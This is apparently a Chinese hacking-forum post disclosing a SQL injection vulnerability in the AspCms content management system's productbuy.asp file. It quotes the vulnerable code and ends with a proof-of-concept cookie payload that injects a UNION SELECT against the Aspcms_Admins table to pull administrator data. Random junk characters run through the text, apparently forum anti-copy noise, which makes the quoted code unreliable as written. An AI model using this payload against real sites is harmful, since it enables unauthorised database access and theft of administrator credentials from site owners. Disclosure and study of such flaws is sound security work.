好久没上土司了,上来一看发现在删号名单内.....* q2 H+ v+ \7 l' x) c( M7 v8 k0 {
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
% x3 ^, D: l+ n7 j! \废话不多说,看代码:
7 \% g) P' U, q: w5 b) J3 S$ P+ v8 o; n# ]# w
<%
/ G" q: [, H( c, e$ _& f& q. p, ^7 X2 {6 P/ h
if action = "buy" then Y5 r2 Q( z) z6 i
2 m" R, m0 j" a7 w7 b5 M- S addOrder()& y; } U4 ]) u# K2 o
7 C% t: f# K# }9 |0 a& M2 uelse
+ ]; e- e; f. j/ y/ p8 W! G5 b! @) v
echoContent()
( `9 ?. t1 I' Q9 O8 k- z: g0 r
! O8 N& P, y8 U2 Qend if( O* k' w1 n2 B; C x+ z. E8 Y* E3 m
7 f7 `; W6 l- }
1 s( S3 a: j0 t. I
2 W% }9 K# j, U……略过
: W9 o' R' c; }( y! j2 s
0 b) D. d3 h$ r, Q; Y2 e# R! O1 ]* _9 d7 W+ I% k2 D
1 y$ o2 ?7 Z7 }7 W9 @0 }1 pSub echoContent()
% a$ R' e' T, c1 I& ~9 x2 ~6 R9 F: {9 _. M
dim id9 u, u8 K X: L: z1 w
! u' t+ s* U) L- |4 Z, L id=getForm("id","get")3 B& c9 h5 f% s" u& b: V
; R$ `! |/ x2 A+ P: h% I
. w/ I# r1 M4 J6 q3 V
9 z; X& k- z _- E$ S- K
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 9 z0 r) L. j I, M) z' Q; R
7 X; D+ X8 d5 X' B& H( x% I' y
/ t; P* F# H* V0 N/ I
& w4 W; T8 n* B) l
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")' v' o3 p( b& ]9 r" q6 C- s; I; b: E
/ G5 C; O, P9 b- r9 X
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct7 w) _. i; s1 p, k. b1 ~
1 s9 R6 N/ `& c: g! k9 p! @+ b Dim templatePath,tempStr, m# w' z1 N/ K# p' C8 B- N m
9 |# K8 V6 B9 |$ Q% ?& G templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"- a4 O( u6 v* O; k. l3 R1 P
& t% _3 Q& j; l/ V9 M! }
) d. G) s/ p2 H0 P, U
+ X- Z P2 {2 D" g9 h set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")% Y8 n' u! F7 N# _, x2 r
, O" L7 ~$ O4 a4 {9 \! \* _
selectproduct=rsObj(0)0 G* a: r( J W3 q
0 b' C6 L; r# x& W* ~% m + \& T! I9 {1 y, v
/ |" z/ {8 ?# R Dim linkman,gender,phone,mobile,email,qq,address,postcode
$ j, B: g. @+ y% m! j( q
; w' A9 [' e/ X/ ? ] if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0! f2 y1 E" s5 ]! L0 C
& V% j+ h1 C$ @$ T6 V }* j if rCookie("loginstatus")=1 then ( d F4 i: b, c3 ]
: j9 Y9 H4 ~+ K! |8 [1 k' l* M
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
2 D. j! @2 ]3 | \, r+ i; [/ r( E9 g
linkman=rsObj("truename")2 H& l& Y+ e8 h6 }+ @: ]/ D1 Y, G( j9 B
5 \ r6 g5 {$ A8 O4 Q& F+ N1 }) q gender=rsObj("gender")% m9 p; g! G5 F; B
7 V; v" ^; u, ^$ L& n: m phone=rsObj("phone")
: x2 x- [' Y5 c/ E" N; r5 @) `3 e3 K0 l# e8 ~2 l, `$ {8 {3 G
mobile=rsObj("mobile"). y# F6 S1 k3 x, @4 z6 Z- |6 b0 w
R4 R8 D- r3 A4 j, z% r) @. \( F email=rsObj("email")
0 K$ ^0 O% t" S: _; m9 a
# I: o* s" G9 b qq=rsObj("qq")$ Y0 D' c2 J" X P
$ k" Z( O7 M0 ^$ b3 S6 T/ ~
address=rsObj("address")
7 _, H' }. M# D2 \+ F
; g, A' p [1 Z A postcode=rsObj("postcode"), B2 I& s; b) R- O! |6 ?7 q- e
) U% c2 G; [) {& \+ m$ M. R3 ` else + b( N7 u+ J0 R
; E( k3 q* k4 J; Y4 D4 O- s
gender=1. W0 k2 c* r ?' n7 i
9 _* Y4 h& }3 X' G0 {6 E: f end if( c! c" a! M. @
$ ?0 x/ U* U( w: E+ D rsObj.close()
$ g) {! D/ U3 T% t1 J1 \! d4 S3 A' H: b' @
3 `& A6 C: q" L+ M) o
" U! @% w+ U0 o2 J9 g q1 ~ with templateObj
6 D: D! S7 Q8 t3 m8 I
" w3 ^4 h% L$ I5 O6 r, z, e' G .content=loadFile(templatePath)
+ d' u( p2 F' J y
" }1 @7 |( \. I& o .parseHtml()
# E% L) u6 s. a8 K6 c1 c2 b' d* O0 ^- v& n1 a1 p2 @ ]5 m; k
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
9 G& Y- O2 k" g1 x5 x$ y9 ?* l& b1 @7 [, Q
.content=replaceStr(.content,"[aspcms:linkman]",linkman) 9 i5 U7 d* v# a
0 h6 O; L! ^! q
.content=replaceStr(.content,"[aspcms:gender]",gender) 4 |: U# i! Q' e$ C
! \0 i) f ~' w* }, X5 g
.content=replaceStr(.content,"[aspcms:phone]",phone) " G" f: v! N A9 r8 B: d& P" d0 }
, R- z7 f2 ~2 W6 C" g( k$ M9 ^7 v
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
% ?% {* b2 | s2 ]9 a2 z( s% Y+ k# N3 Q* D; i. q
.content=replaceStr(.content,"[aspcms:email]",email) + {% u! \$ I; r" ]8 x
1 l& C( T9 ^% Q& k$ o; c" I/ T .content=replaceStr(.content,"[aspcms:qq]",qq) ; C* ? A: [$ b6 n
) c6 Z1 q" o, s% S; h' S8 t1 {, O3 d
.content=replaceStr(.content,"[aspcms:address]",address) + [# G6 M; U8 a) k: X9 ] J3 P
) i1 ]% z7 o& f3 D% X6 d .content=replaceStr(.content,"[aspcms:postcode]",postcode) * B: N6 {) i# i/ c; v2 r3 j+ r
- b0 l* L8 K' t/ Q" z
.parseCommon()
1 ~3 L& m7 ?1 A% B- I0 X8 F7 q" X# L2 k3 Z& `- t B
echo .content
" Y, |7 m/ K$ {9 z8 m% V* R, V3 C7 k2 Q: n# O5 S
end with1 f& \8 z- ~8 E; f( _( u; r
W! c# \: t4 @: n" `' C; `
set templateobj =nothing : terminateAllObjects; h8 A2 k$ W7 [7 o+ }
# K5 k! E+ H0 a5 s1 S
End Sub6 W' F9 o4 V8 z' u" @& z J
漏洞很明显,没啥好说的
+ Y, o# V6 \$ |poc:9 F. }& t7 M! u: x/ N- {
. {) h- b0 ]; L+ Jjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
: x5 W: ^* A2 ^* P
+ Y6 W8 T. g1 u+ a/ ]0 |( C9 p p |